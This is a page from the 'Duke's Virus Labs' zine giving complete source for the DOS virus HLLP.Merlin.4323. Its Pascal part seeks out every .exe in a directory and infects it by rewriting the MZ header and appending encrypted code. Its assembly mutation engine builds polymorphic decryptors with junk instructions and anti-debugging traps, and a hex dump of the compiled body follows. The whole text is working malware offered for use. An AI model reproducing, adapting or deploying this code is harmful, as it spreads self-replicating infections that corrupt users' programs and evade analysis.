- [Duke's Virus Labs #10] - [Page 15] -

HLLP.Merlin.4323
(c) by LordDark


===== begin v.pas =====
{$S- $R- $Q- $F-}
uses dos;
type
      mz_hdr = record
        Signature:   Word;
        ExtraBytes:  Word;
        Pages:       Word;
        RelocItems:  Word;
        HeaderSize:  Word;
        MinAlloc:    Word;
        MaxAlloc:    Word;
        InitSS:      Word;
        InitSp:      Word;
        CheckSum:    Word;
        InitIP:      Word;
        InitCS:      Word;
        RelocTable:  Word;
        Overlay:     Word;
end;
type
      virii = record
      buffer: Pointer;
      source: Pointer;
      vl:     word;
      OfsSS:  ^word;
      OfsSP:  ^word;
      OfsCS:  ^word;
      OfsIP:  ^word;
end;     

procedure randomize; external; {$L engine.obj}
procedure engine;    external;

var
     f: file;
     dirinfo: searchrec;
     vir: virii;
     mz: mz_hdr;

function  LME(IP: word): word; assembler;
asm
     push ds
     push es
     mov cx, vir.vl 
     mov ax, ip
     les di, vir.buffer
     lds si, vir.source
     shr cx, 1
     adc cx, 0 
     call engine
     xchg ax, cx
     pop es 
     pop ds
end;

procedure infect( fname: string );
var
     attr: word;
begin
     assign(f, fname);
     {$i-} reset(f, 1); {$i+}
     if IOResult <> 0 then Exit;
     if (FileSize(f) < 1000) Or (FileSize(f) > (200*1024) ) Then
        Begin Close(f); Exit; End;
     BlockRead(f, Addr(mz)^, sizeof(mz_hdr));
     if mz.InitCS = mz.InitSS Then
        Begin Close(f); Exit; End;
     attr := FileSize(f) mod 512;
     if attr <> mz.ExtraBytes Then
        Begin Close(f); Exit; End;
     if attr <> 0 Then Dec(mz.Pages);
     if (FileSize(f) div 512) <> mz.Pages Then
        Begin Close(f); Exit; End;
     if (mz.signature = $5A4D) or (mz.Signature = $4D5A) then
     else
        Begin Close(f); Exit; End;
     vir.ofsip^ := mz.initip;
     vir.ofscs^ := mz.initcs;
     vir.ofsss^ := mz.initss; 
     vir.ofssp^ := mz.initsp;
     attr := lme((Filesize(f)-mz.HeaderSize*16) mod $10);
     mz.InitIP := (Filesize(f)-mz.HeaderSize*16) mod $10;
     mz.InitCS := (Filesize(f)-mz.HeaderSize*16) div $10;
     mz.InitSS := mz.InitCS;
     mz.InitSP := $FFFE;
     mz.Pages  := (FileSize(f)+attr) div 512;
     mz.ExtraBytes := (FileSize(f)+attr) mod 512;
     if mz.ExtraBytes <> 0 Then Inc(mz.Pages);
     Seek(f, FileSize(f));
     BlockWrite(f, vir.buffer^, attr);
     Seek(f, 0);
     BlockWrite(f, Addr(mz)^, sizeof(mz_hdr));
     Close(f);
end;

var
     r: registers;
const
     test_write = #255#0;
begin
     randomize; 
     r.ds := seg(vir);
     r.si := ofs(vir);
     intr($91,r); 
     if PortW[$40] = 666 then
        Writeln('V-2D Merlin');
     assign(f, test_write);
     {$i-} rewrite(f, 1); {$i+}
     if IOResult <> 0 Then Halt(0);
     close(f);
     erase(f);
     FindFirst('*.exe', Archive, DirInfo);
     while DosError = 0 do
     begin
        Infect(DirInfo.Name);
        FindNext(DirInfo);
     end;
end.
===== end   v.pas =====

===== begin engine.asm =====
.286
locals __
.model small, pascal
.code
public engine
public randomize
include engine.inc
randomize:
    mov ah, 2CH
    int 21h
    mov cs:[a], cx
    mov cs:[b], dx
    ret   
random:
    push bx cx dx
    push ax
    mov ax, 0
    org $-2
A   dw  0
    mov bx, 0
    org $-2
B   dw  0
    mov cx, ax
    mov dx, 8405h
    mul dx
    shl cx, 3
    add ch, cl
    add dx, cx
    add dx, bx
    shl bx, 2
    add dx, bx
    add dh, bl
    mov cl, 5  
    shl bx, cl
    add dh, bl
    add ax, 1
    adc dx, 0
    mov 2 ptr cs:[A], ax
    mov 2 ptr cs:[B], dx
    pop bx
    mov cx, dx
    mul bx
    mov ax, cx
    mov cx, dx
    mul bx
    add ax, cx
    adc dx, 0
    xchg ax, dx
    pop dx cx bx
    ret
one_byte:
    clc
    cld
    cli
    cmc
    sti
    nop
    stc
    std
    sahf
ob_len = ($-one_byte)
buffer:
end
===== end   engine.asm =====

===== begin engine.inc =====
engine:
    _ax = 0
    _cx = 1
    _dx = 2
    _bx = 3
    _sp = 4
    _bp = 5
    _si = 6
    _di = 7
    mov $di, di
    mov $cx, cx
    mov $si, si
    mov $ax, ax 
    mov 1 ptr cs:reg1, -1
    ;----------[ Start]--- 
    call gen_garbage
    mov  ax, 0
    org  $-2
    mov  al, 0ADh
    stosw
    mov  1 ptr cs:reg1, _ax
    call gen_garbage
    mov  ax, 0
    org  $-2
    out  64h, al
    stosw
    mov  1 ptr cs:reg1, -1
    call gen_garbage
    call not_trace
    call gen_garbage 
    mov ax, 4
    call random
    ; 3 5 6 7
    cmp al, 0
    jnz __1
    mov al, 3
    jmp __2
__1:
    add al, 5-1
__2:
    mov cs:reg1, al
    ; mov reg, offset body
    call load
    push di
    call gen_garbage
    mov al, 2Eh
    stosb
    mov ax, 3
    call random
    shl al, 1
    mov bx, ax
    mov ax, 2 ptr cs:[bx+decrypt_inst]
    mov cs:_crypt, ax
    add bx, offset crypt_inst
    mov al, 1 ptr cs:[bx]
    stosb
    mov al, 0
reg1 equ byte ptr $-1
    ; _bx _si _di _bp
    ;  3   0   1   2
    ;  3   6   7   5
    cmp al, _bx
    jz  __4
__3:
    cmp al, _si
    jnz __5
    mov al, 0
    jmp __4
__5:
    cmp al, _di
    jnz __6
    mov al, 1
    jmp __4
__6:
    mov al, 2     
__4:
    or  al, cs:[bx+1]
    stosb
; ->
    mov  cs:ofs_body, di ; ofs
    stosw 
$$1:
    mov  ax, -1
    call random
    test ax, ax
    jz   $$1  
    stosw
    mov  cs:key, ax ; key
    call gen_garbage
    ;-------[ Inc ]--- 
    mov al, 40h
    or  al, cs:reg1
    stosb
    push ax
    call gen_garbage 
    pop  ax
    stosb
    call gen_garbage    
    ;--------[ Cmp ]---
    mov al, 10000001b
    stosb
    mov al, 11111000b
    or  al, cs:reg1
    stosb
; ->
    mov cs:max_ofs, di
    stosw
    ;--------[ Jne ]--- 
    mov al, 75h
    stosb
    pop ax
    push ax
    sub ax, di
    dec ax
    cmp ax, not 80h
    ja  _$1
    mov 1 ptr es:[di-1], 74h
    mov 1 ptr es:[di],   03h
    mov 1 ptr es:[di+1], 0E9h
    inc di 
    inc di 
    sub ax, 3     
    stosw    
    jmp  _$2
_$1: 
    stosb
_$2:
    ;------------------ 
    call gen_garbage
    mov  ax, 0
    org  $-2
    mov  al, 0AEh
    stosw
    mov  1 ptr cs:reg1, _ax
    call gen_garbage
    mov  ax, 0
    org  $-2
    out  64h, al
    stosw
    mov  1 ptr cs:reg1, -1
    call gen_garbage  
    ;----------------
    mov bx, di
    sub bx, offset buffer
$di equ 2 ptr $-2
    pop si
$$2:
    mov ax, -1
    call random
    cmp  ax, 8000h
    jb   $$3
    test ax, 1
    ; and ax, 1
    jnz  $$2    
$$3:   
    xchg ax, dx
    mov ax, bx
    add ax, 100h
$ax equ 2 ptr $-2
    add ax, dx
    mov 2 ptr es:[si-2], ax
    neg dx
    mov bx, 0
ofs_body equ 2 ptr $-2
    mov 2 ptr es:[bx], dx
    mov cx, 1234h
$cx equ 2 ptr $-2
    shl cx, 1
    add ax, cx  
    mov bx, 0
max_ofs equ 2 ptr $-2
    mov 2 ptr es:[bx], ax 
    mov si, 0
$si equ 2 ptr $-2
    mov cx, $cx
    mov bx, 0
key equ 2 ptr $-2
__x:
    lodsw
_crypt dw 0 
    stosw
    loop __x
    mov cx, di
    sub cx, cs:$di 
    ret

load proc
    push ax
    mov ax, 2
    call random
    test ax, ax
    pop ax
    jz  fuck_it
    shl al, 3
    or  al, 06h
    xchg al, ah
    mov al, 8Dh
    stosw  
    jmp __fuck_it
fuck_it: 
    or al, 0B8h
    stosb
__fuck_it:
    xchg ax, dx
    stosw
    ret
    endp

not_trace proc
     mov ax, 2
     call random
     test ax, ax
     jz  __1
     call anti_1
     call gen_garbage
     call anti_2
     jmp __2
__1:
     call anti_2
     call gen_garbage
     call anti_1
__2:
     mov dx, 3521h
     mov al, 0
     call load
     mov  ax, 21CDh
     stosw
     mov  cs:reg1, _bx
     call gen_garbage
     mov  ax, 0
     org  $-2
     mov  al, 0CFh
     stosw
     mov  cs:regX, _ax
     call gen_garbage
     mov  ax, 8626h
     stosw
     mov  al, 7
     stosb
     call gen_garbage
     mov  ax, 4CB4h
     stosw
     mov  ax, 21CDh
     stosw
     call gen_garbage
     mov  ax, 2
     call random
     test ax, ax
     mov  ah, 86h
     jnz  __m
     mov  ah, 88h
__m:
     mov  al, 26h
     stosw   
     mov  al, 7
     stosb
; B0 CF			    mov	al, 0CFh
; 26: 86 07		    xchg al, 1 ptr es:[bx]
; B4 4C			    mov	 ah, 4Ch
; CD 21			    int	 21h
; 26: 88 07		    mov	 1 ptr es:[bx],	al
     mov  cs:reg1, -1 
     mov  cs:regX, -1
     call gen_garbage
     ret
anti_1:
     mov dx, 3501h
_anti_x:
     mov al, 0
     call load
     mov  ax, 21CDh
     stosw
     mov  cs:reg1, _bx
     call gen_garbage
     mov  ax, 0C626h
     stosw
     mov  ax, 0CF07h
     stosw 
     mov  cs:reg1, -1
     call gen_garbage
     ret
anti_2:
     mov dx, 3503h
     jmp _anti_x
     endp

crypt_inst:
     db 10000001b,10110100b
     db 10000001b,10000100b
     db 10000001b,10101100b
decrypt_inst:
     xor ax, bx
     sub ax, bx
     add ax, bx

gen_garbage:
     push dx
     mov ax, 10
     call random
     inc ax
     xchg ax, cx
__1:
     push cx
     call garage
     pop  cx
     loop __1
     pop dx
     ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
big_garbage:
; ADD/SUB/XOR/ROL/TEST/CMP...
IZM_1 = 1
IZM_0 = 0
IZM_2 = 2
    db 10001011b, IZM_1 ; mov
    db 00000011b, IZM_1 ; add
    db 00010011b, IZM_1 ; adc
    db 00100011b, IZM_1 ; and
    db 00001011b, IZM_1 ; or
    db 00101011b, IZM_1 ; sub
    db 00011011b, IZM_1 ; sbb
    db 00110011b, IZM_1 ; xor
    db 00111011b, IZM_0 ; cmp
    db 10000101b, IZM_0 ; test    
    db 11010001b, IZM_2 ; rxx  0..7 ஬ 6
len_big_garbage = ($-big_garbage)/2

free_reg:
     mov ax, 8
     call random
     cmp al, cs:reg1
     jz  free_reg
     cmp al, 4
     jz  free_reg
     cmp al, 0ffh
regX equ byte ptr $-1
     jz  free_reg 
     ret

gen_mov:
     mov ax, 0fffeh
     call random
     xchg ax, dx
     call free_reg
     jmp  load 

gen_byte:
       push bx
       mov ax, ob_len
       call random
       lea bx, one_byte
       xlat byte ptr cs:[bx]
       stosb
       pop bx
       ret

garage:
     mov ax, len_big_garbage+2
     call random
     cmp al, len_big_garbage
     jz  gen_byte
     cmp al, len_big_garbage+1
     jz  gen_mov
     shl ax, 1
     add ax, offset big_garbage
     mov bx, ax
     mov al, cs:[bx]
     stosb
     mov al, cs:[bx+1]
     cmp al, 2
     jnz _standart
__k:
     mov ax, 8
     call random
     cmp al, 6
     jz  __k
     shl al, 3
     or  al, 0C0h
     mov bl, al
     call free_reg
     or  al, bl
     stosb
     ret
_standart:    
     push ax
     mov  ax, 4
     call random
     sub  dl, dl
     cmp  al, 3
     jz   $$0
     dec  di
     mov  ah, es:[di]
     lea  bx, prefix
     xlat 1 ptr cs:[bx]
     stosb
     mov  al, ah
     stosb   
     inc dl
$$0:   
     pop  ax   
     cmp al, 0
     jnz not_change 
     mov ax, 8
     call random
     jmp mumu
not_change:
     call free_reg
mumu:
     shl al, 3
     push ax
     mov ax, 2
     call random
     test ax, ax
     pop ax
     jz __p
     test dl, dl
     jz  __op 
     ; Prefix, Command 
     mov ah, es:[di-1]
     mov 1 ptr es:[di-2], ah
     dec di
__op:
     or al, 0C0h
     stosb
     mov ax, 8
     call random
     or 1 ptr es:[di-1], al 
     ret  
__p:
     ; al -reg
     or  al, 110b
     stosb
     mov  ax, 0FFFEh
     call random
     stosw       
     ret 
prefix:
     segss
     segcs
     seges 
===== end   engine.inc =====

===== begin v.inc =====
db  0B9h,0ACh,007h,0BEh,056h,00Fh,089h,0F7h,01Eh,0A9h,0B5h,080h,08Ch,0C8h
db  005h,005h,000h,08Eh,0D8h,005h,08Ch,000h,08Eh,0C0h,0FDh,0F3h,0A5h,0FCh
db  02Eh,080h,06Ch,012h,010h,073h,0E7h,092h,0AFh,0ADh,00Eh,00Eh,00Eh,006h
db  01Fh,007h,016h,0BDh,00Dh,000h,0BBh,0CFh,080h,055h,0CBh,055h,050h,058h
db  021h,00Bh,003h,003h,009h,07Ah,010h,089h,092h,0FEh,0BAh,054h,0CBh,0D2h
db  014h,000h,0ACh,00Eh,000h,0C0h,015h,000h,000h,02Eh,0FFh,055h,089h,0E5h
db  01Eh,006h,08Bh,00Eh,006h,0FFh,001h,08Bh,046h,004h,0C4h,03Eh,0FEh,000h
db  0FFh,0C5h,036h,002h,001h,0D1h,0E9h,083h,0D1h,0FFh,000h,0E8h,000h,004h
db  091h,007h,01Fh,05Dh,0EEh,0C2h,002h,000h,022h,0DBh,081h,0ECh,015h,08Ch
db  0FFh,0D3h,08Eh,0C3h,08Ch,0DBh,0FCh,08Dh,0BEh,0FFh,000h,0FFh,0C5h,076h
db  004h,0ACh,0AAh,091h,0FFh,030h,0EDh,0F3h,0A4h,08Eh,0DBh,0BFh,052h,0EFh
db  000h,01Eh,057h,014h,0FEh,016h,057h,09Ah,09Dh,006h,08Ah,000h,0C7h,00Fh
db  0B8h,001h,0F7h,000h,050h,09Ah,0D8h,00Dh,076h,09Ah,08Ah,002h,004h,0FFh
db  009h,0C0h,074h,003h,0E9h,0CFh,002h,063h,019h,09Ah,0DDh,0E2h,00Ah,015h
db  091h,037h,083h,0FAh,000h,0FFh,07Ch,022h,07Fh,005h,03Dh,0E8h,003h,072h
db  0B2h,01Bh,01Ah,09Fh,003h,07Fh,007h,07Ch,0FCh,017h,03Dh,000h,020h,076h
db  012h,09Eh,059h,007h,041h,0D9h,0E9h,087h,047h,0F7h,0BFh,018h,001h,066h
db  04Bh,01Ch,031h,0DBh,0C0h,050h,06Ah,0C3h,061h,01Eh,0FFh,0A1h,02Eh,001h
db  03Bh,006h,026h,001h,0B2h,075h,036h,09Bh,050h,07Eh,023h,0FFh,0B9h,000h
db  002h,031h,0DBh,09Ah,00Ch,009h,06Fh,009h,089h,0C8h,089h,0FDh,0DAh,089h
db  086h,0FEh,0FEh,08Bh,0CDh,003h,03Ch,0E4h,01Ah,001h,074h,0A7h,013h,002h
db  0DBh,083h,0BEh,01Bh,000h,0FDh,074h,004h,0FFh,00Eh,01Ch,001h,085h,047h
db  03Fh,08Bh,0C8h,08Bh,0DAh,0A1h,06Fh,01Fh,031h,0D2h,03Bh,0FBh,0D3h,075h
db  004h,03Bh,0C1h,046h,02Bh,0F6h,0CCh,001h,081h,03Eh,0B6h,0FBh,04Dh,05Ah
db  074h,008h,007h,0FEh,05Ah,04Dh,075h,002h,0EBh,0CAh,023h,07Eh,0A8h,001h
db  0A1h,02Ch,001h,017h,088h,014h,001h,0EEh,026h,089h,005h,0CCh,06Ch,009h
db  010h,08Ch,026h,0D2h,008h,033h,028h,048h,00Ch,0FEh,020h,001h,0B1h,004h
db  0D3h,0E0h,0DDh,06Eh,052h,050h,090h,092h,0FFh,059h,05Bh,02Bh,0C1h,01Bh
db  0D3h,0B9h,0D8h,010h,000h,0E0h,00Fh,050h,0E8h,014h,0BDh,0FEh,0E4h,084h
db  035h,05Dh,0A3h,0ACh,08Bh,030h,00Ah,0EDh,0A3h,0AEh,075h,0B1h,0A3h,0BBh
db  0AAh,0C7h,006h,0A4h,076h,0FEh,0FFh,02Dh,042h,01Ch,01Dh,03Bh,061h,048h
db  07Ch,003h,0C1h,013h,0D3h,025h,035h,0C2h,0A3h,051h,06Ch,029h,0ABh,066h
db  090h,017h,09Eh,083h,03Eh,068h,003h,079h,08Ah,006h,005h,090h,03Dh,0C6h
db  052h,00Dh,0E4h,02Bh,008h,016h,01Ah,023h,0D5h,0FDh,006h,057h,0FFh,0B6h
db  0C3h,050h,02Ah,0F6h,0CAh,007h,01Ch,006h,0D7h,012h,0D8h,0B2h,031h,011h
db  096h,05Bh,0CAh,030h,0C2h,0AAh,05Eh,089h,0ECh,097h,01Ch,004h,000h,0FFh
db  00Bh,056h,02Dh,032h,044h,020h,04Dh,065h,0FFh,072h,06Ch,069h,06Eh,002h
db  0FFh,000h,005h,0FFh,02Ah,02Eh,065h,078h,065h,09Ah,000h,000h,0A7h,08Ah
db  036h,0FFh,0E8h,0E0h,003h,08Ch,0D8h,0A3h,042h,001h,0B7h,0B8h,081h,0A3h
db  03Eh,0E1h,001h,0B0h,091h,041h,073h,034h,001h,07Fh,087h,000h,07Bh,000h
db  0E5h,040h,03Dh,0FEh,09Ah,002h,075h,01Ch,0BFh,04Ah,002h,0EEh,06Fh,040h
db  003h,00Eh,0E4h,089h,0B3h,031h,070h,0ECh,0DDh,005h,08Bh,026h,04Ch,0E4h
db  01Bh,090h,058h,0C8h,0E1h,00Dh,007h,0BDh,037h,09Ah,016h,001h,094h,09Ch
db  0B3h,00Eh,0B2h,05Bh,0D6h,06Eh,04Fh,045h,0EDh,0B8h,020h,000h,080h,0CDh
db  0D2h,000h,000h,030h,059h,046h,048h,07Dh,075h,014h,0BFh,0F0h,0DDh,010h
db  0E8h,01Bh,0FCh,09Ch,018h,03Eh,0DDh,0EBh,0E5h,05Dh,083h,053h,02Eh,0F6h
db  089h,03Eh,02Dh,005h,004h,0E6h,00Eh,055h,0CBh,036h,062h,0A3h,0B7h,044h
db  003h,0C6h,006h,085h,092h,07Ah,0FEh,0E8h,011h,002h,0B8h,0B0h,0ADh,0ABh
db  0C7h,00Ch,000h,0E8h,097h,004h,0E6h,064h,03Bh,019h,0FDh,0F7h,001h,0E8h
db  043h,0B6h,002h,0F1h,0F2h,0BBh,018h,0F1h,002h,0B7h,03Ch,061h,004h,0B0h
db  0FEh,003h,0EBh,002h,004h,004h,02Eh,0A2h,0DEh,01Dh,0E8h,00Bh,001h,0D8h
db  06Ah,0D6h,05Fh,007h,02Eh,0AAh,0B8h,003h,06Fh,01Dh,0D3h,002h,0D0h,0FFh
db  0E0h,08Bh,0D8h,02Eh,08Bh,087h,043h,006h,06Fh,059h,06Dh,005h,081h,0DBh
db  0C3h,03Dh,007h,08Ah,0FDh,007h,0AAh,0B0h,000h,03Ch,003h,02Eh,03Ah,03Ch
db  006h,0E6h,038h,08Ah,0F7h,00Ah,03Ch,007h,040h,04Bh,001h,0B0h,0FDh,002h
db  02Eh,00Ah,047h,001h,0AAh,0DFh,091h,04Fh,005h,0ABh,0B8h,0FFh,06Fh,067h
db  095h,002h,085h,06Dh,0FCh,0F6h,0BFh,075h,0A3h,06Ah,005h,0E8h,083h,06Dh
db  052h,040h,0AEh,01Eh,07Eh,08Dh,0AAh,0E5h,0FDh,077h,001h,058h,0AAh,0E8h
db  072h,0B6h,010h,081h,048h,0D9h,0F8h,013h,0BAh,033h,05Ch,05Fh,0B0h,075h
db  0AAh,058h,0FFh,050h,02Bh,0C7h,048h,03Dh,07Fh,0FFh,077h,0FDh,016h,026h
db  0C6h,045h,0FFh,074h,0BBh,004h,005h,003h,008h,0BEh,001h,0E9h,047h,047h
db  02Dh,0DDh,08Eh,0ABh,0EBh,0BDh,05Dh,0E8h,03Ah,001h,0B2h,0D6h,0AEh,01Eh
db  02Dh,001h,040h,052h,004h,0FFh,08Bh,0DFh,081h,0EBh,0A3h,007h,05Eh,07Eh
db  07Bh,019h,002h,0B7h,099h,080h,072h,0C3h,005h,0A9h,03Fh,07Fh,0F0h,092h
db  08Bh,0C3h,005h,000h,001h,0D2h,003h,0C2h,090h,0FCh,044h,0FEh,0F7h,0DAh
db  0BBh,02Bh,059h,008h,07Fh,017h,0B9h,034h,012h,0D1h,0E1h,01Ah,0BBh,0C7h
db  00Ch,007h,0BEh,06Bh,005h,0E3h,043h,042h,03Ah,00Dh,0ADh,0DFh,002h,0ABh
db  0E2h,0FAh,08Bh,0F0h,0CFh,02Eh,02Bh,00Eh,0BEh,057h,0C3h,050h,0B8h,002h
db  0DDh,064h,0CEh,001h,0BEh,0C6h,058h,074h,00Ch,0C0h,037h,028h,00Ch,006h
db  0F6h,086h,0C4h,0B0h,08Dh,086h,0B7h,008h,0B8h,0AAh,0EFh,092h,0ABh,0C3h
db  01Ch,09Bh,0B1h,074h,00Bh,0DBh,0E8h,06Ch,009h,0A1h,06Ch,002h,08Dh,02Fh
db  00Dh,009h,0E8h,088h,06Dh,007h,096h,0BFh,002h,05Bh,000h,0BAh,021h,035h
db  0B7h,0B0h,0A1h,0BCh,0FFh,0E4h,0B8h,0CDh,021h,0FDh,003h,0E8h,07Eh,000h
db  0B7h,0BBh,0CFh,00Ch,0FCh,083h,006h,000h,0E8h,071h,0BBh,026h,086h,0F3h
db  06Dh,007h,0D2h,0B7h,067h,009h,0B4h,04Ch,0BFh,0ABh,027h,0E8h,05Ch,0BEh
db  000h,054h,05Ch,06Dh,0B4h,086h,06Fh,07Ah,0B4h,088h,0B0h,0BDh,026h,021h
db  09Bh,0E0h,037h,016h,0D9h,0FDh,039h,000h,0C3h,0BAh,001h,0F2h,05Ah,061h
db  007h,023h,075h,04Dh,0C6h,0B8h,043h,007h,0CFh,043h,00Dh,0BBh,012h,026h
db  003h,035h,0FFh,0EBh,0D7h,081h,0B4h,081h,084h,081h,0ACh,0FFh,033h,0C3h
db  02Bh,0C3h,003h,0C3h,052h,0B8h,0B5h,00Ah,036h,02Fh,000h,040h,091h,051h
db  0D6h,0E8h,04Dh,01Ah,0FCh,0E2h,0F9h,05Ah,0C3h,08Bh,02Fh,016h,001h,013h
db  001h,0C2h,023h,001h,0F5h,0FCh,02Bh,001h,01Bh,001h,033h,00Bh,098h,000h
db  0E3h,085h,000h,0D1h,02Bh,06Dh,008h,026h,085h,0D8h,012h,0BBh,03Ah,048h
db  074h,0F3h,0B7h,03Ch,003h,0EFh,03Ch,00Bh,08Ah,0EBh,06Dh,0EEh,0FEh,0BDh
db  055h,0C2h,000h,092h,02Fh,030h,0FFh,0E9h,0E6h,0F6h,0FEh,053h,0B8h,009h
db  023h,0FFh,0B4h,000h,0BBh,09Ah,007h,02Eh,0D7h,0DBh,0AAh,05Bh,01Bh,00Dh
db  06Ch,00Dh,0A6h,06Fh,015h,00Bh,074h,0E7h,0FFh,03Ch,00Ch,074h,0D6h,0D1h
db  0E0h,005h,05Bh,08Eh,006h,037h,01Ch,02Ah,0D1h,003h,0B4h,012h,03Ch,0B7h
db  044h,018h,052h,0B4h,05Ah,068h,032h,0D0h,00Fh,0FFh,047h,0C0h,08Ah,0D8h
db  0E8h,099h,0F0h,0FFh,00Ah,0C3h,0AAh,0C1h,061h,0C6h,082h,03Dh,0E3h,02Ah
db  0D2h,051h,0BFh,00Fh,04Fh,026h,08Ah,025h,0BBh,0BFh,03Dh,051h,08Ah,0C4h
db  0F1h,0AAh,0FEh,0C2h,058h,0D7h,09Ah,008h,038h,0C2h,04Ch,057h,0B7h,0E1h
db  069h,0FFh,070h,039h,047h,090h,03Dh,000h,03Fh,01Bh,084h,0D2h,0DBh,074h
db  009h,030h,065h,0FDh,0FFh,026h,088h,065h,0FEh,04Fh,0B7h,052h,0AAh,029h
db  0C2h,022h,0CEh,0C6h,008h,037h,0C2h,0C3h,0A8h,0DFh,0AAh,0ADh,014h,00Bh
db  0CBh,0C3h,0F8h,036h,02Eh,026h,0B4h,02Ch,054h,027h,0D9h,022h,054h,007h
db  044h,0BFh,000h,007h,0C3h,053h,051h,052h,068h,046h,050h,0E6h,0CBh,0ECh
db  0C5h,07Fh,0BAh,005h,084h,0F7h,0E2h,0C1h,01Bh,008h,002h,0FFh,0E9h,003h
db  0D1h,003h,0D3h,0C1h,0E3h,002h,06Fh,004h,002h,0F3h,0B1h,0DBh,005h,0D3h
db  008h,0F3h,08Dh,005h,03Ah,0A5h,083h,070h,01Ah,0BCh,0C1h,036h,0FEh,05Bh
db  08Bh,0CAh,0F7h,0E3h,08Bh,0C1h,0F1h,005h,0AEh,036h,018h,0EDh,092h,05Ah
db  059h,0F6h,0FFh,0F8h,0FCh,0FAh,0F5h,0FBh,090h,0F9h,0FDh,0D8h,09Eh,000h
db  000h,01Fh,055h,08Bh,0ECh,0F1h,083h,0ECh,050h,01Eh,02Fh,081h,00Ch,08Dh
db  07Eh,0FFh,0B0h,016h,007h,0FCh,0ACh,03Ch,04Fh,072h,04Bh,01Dh,04Fh,0C4h
db  098h,091h,0B6h,08Bh,032h,0A6h,0FDh,0C5h,056h,006h,0B4h,01Ah,0BBh,090h
db  08Dh,056h,01Ah,07Fh,01Fh,08Bh,04Eh,00Ah,0B4h,04Eh,06Fh,00Bh,01Fh,0C4h
db  07Eh,08Dh,006h,0BEh,06Ah,08Eh,05Dh,0D5h,0CAh,00Ah,0F6h,03Dh,01Eh,023h
db  00Fh,01Fh,0B4h,04Fh,06Bh,004h,01Bh,0C2h,023h,0B5h,019h,0BFh,003h,072h
db  01Eh,083h,0C7h,01Eh,016h,009h,0DBh,01Fh,044h,0B9h,01Bh,0CEh,0FCh,0FFh
db  0F2h,0AEh,0F6h,0D1h,08Ah,0C1h,04Fh,08Bh,0EDh,0F7h,04Eh,0FDh,057h,0FDh
db  0AAh,0FCh,01Fh,033h,0C0h,0A3h,06Eh,02Dh,0C3h,05Eh,0EEh,096h,0B0h,021h
db  050h,0EEh,0E3h,056h,055h,01Eh,0DFh,049h,02Eh,0FFh,036h,0B6h,05Bh,0E7h
db  046h,0A5h,00Ch,0DAh,0DBh,0B7h,000h,08Fh,008h,0F0h,0FCh,0ADh,050h,0ADh
db  0ADh,097h,002h,096h,0C8h,0D0h,05Bh,0E8h,00Dh,0EEh,0F8h,004h,0FFh,08Eh
db  0C0h,01Fh,05Eh,058h,0CDh,000h,09Ch,002h,082h,0B9h,07Ch,0BDh,06Fh,012h
db  0FCh,0ABh,02Bh,031h,002h,065h,0C1h,0EDh,0C2h,0ABh,058h,004h,09Bh,0C6h
db  08Ch,0D8h,033h,001h,07Bh,02Eh,08Fh,006h,04Eh,06Dh,01Fh,08Bh,0B0h,006h
db  0EFh,09Fh,0BAh,041h,001h,08Eh,0FFh,0DAh,08Ch,006h,038h,000h,033h,0EDh
db  0E8h,0A5h,049h,00Bh,0B7h,0A0h,0C8h,0C4h,005h,0C1h,013h,000h,0DDh,091h
db  0E8h,08Ch,0D2h,02Dh,075h,0A3h,0BFh,0D2h,0A3h,00Ch,000h,003h,006h,06Eh
db  0BFh,0A3h,00Eh,0D9h,002h,018h,065h,01Ch,0EEh,024h,000h,08Eh,02Eh,0EDh
db  026h,0A1h,002h,00Ah,068h,0F6h,037h,08Ah,02Ah,000h,0F8h,0D6h,000h,08Ch
db  00Eh,02Ch,017h,002h,04Ah,003h,0F6h,0BEh,039h,002h,0B9h,03Bh,0FEh,090h
db  0FCh,02Eh,0ACh,0B4h,035h,0DFh,0FBh,089h,01Dh,08Ch,045h,0B7h,002h,0F4h
db  004h,0E2h,0F8h,0EFh,01Eh,00Eh,01Fh,0BAh,094h,052h,02Dh,0B6h,025h,0BBh
db  014h,0BAh,013h,007h,067h,023h,08Dh,0DBh,0F3h,0BEh,024h,00Fh,004h,059h
db  03Fh,0B8h,01Fh,0B8h,04Ah,014h,0B9h,028h,076h,05Fh,0DBh,063h,002h,00Eh
db  050h,0EDh,00Eh,0E8h,04Eh,005h,0EDh,0E8h,0C8h,002h,013h,090h,002h,019h
db  03Ah,0B8h,0B9h,002h,0CBh,05Fh,02Ah,09Ch,05Bh,080h,0E7h,0FFh,00Fh,053h
db  09Dh,09Ch,059h,080h,0E5h,0F0h,0FFh,080h,0FDh,0F0h,074h,00Eh,040h,080h
db  0CFh,0B0h,0F0h,00Fh,07Ch,074h,001h,040h,0A2h,06Dh,071h,0C3h,0B6h,024h
db  0CAh,09Eh,0FFh,0FBh,083h,0C4h,006h,058h,083h,0E7h,0E9h,01Fh,081h,0C7h
db  0D3h,07Fh,080h,0FCh,039h,073h,003h,0BFh,05Bh,05Bh,057h,0DAh,0B4h,054h
db  06Ch,017h,027h,080h,04Eh,0ADh,016h,0C7h,0FEh,05Bh,059h,05Ah,05Eh,05Fh
db  05Dh,01Fh,097h,076h,0B8h,0D0h,0B8h,000h,02Ah,06Eh,0A6h,0B8h,0C8h,026h
db  073h,0D6h,0EBh,007h,082h,085h,00Ch,0E1h,0C9h,033h,0DBh,019h,01Eh,0FBh
db  0A3h,032h,017h,011h,0C1h,00Bh,0F1h,0C3h,074h,03Dh,0A1h,02Dh,087h,00Bh
db  06Ch,02Dh,02Fh,02Dh,06Eh,026h,09Dh,009h,01Bh,02Fh,094h,077h,017h,0F7h
db  08Dh,0D8h,0CFh,0F6h,010h,073h,010h,0BAh,011h,08Dh,089h,01Bh,059h,072h
db  0C5h,007h,026h,0A3h,0DFh,0C8h,076h,072h,006h,022h,08Dh,0BDh,0C2h,0EBh
db  0D1h,0A9h,0D2h,08Ch,0B9h,0EDh,01Eh,038h,05Bh,0C6h,0EBh,010h,0C0h,0C1h
db  034h,0BFh,0CFh,01Eh,036h,000h,0C4h,01Eh,085h,02Eh,02Ch,0BAh,0C0h,04Eh
db  013h,019h,0F1h,0BBh,00Ah,0A3h,030h,002h,052h,027h,0F6h,0B8h,06Eh,001h
db  0DFh,0F0h,006h,053h,0CBh,08Bh,002h,0F7h,067h,02Ah,07Eh,008h,021h,002h
db  010h,053h,0B8h,025h,0D8h,05Ah,015h,060h,029h,0FBh,052h,0F0h,0A1h,04Fh
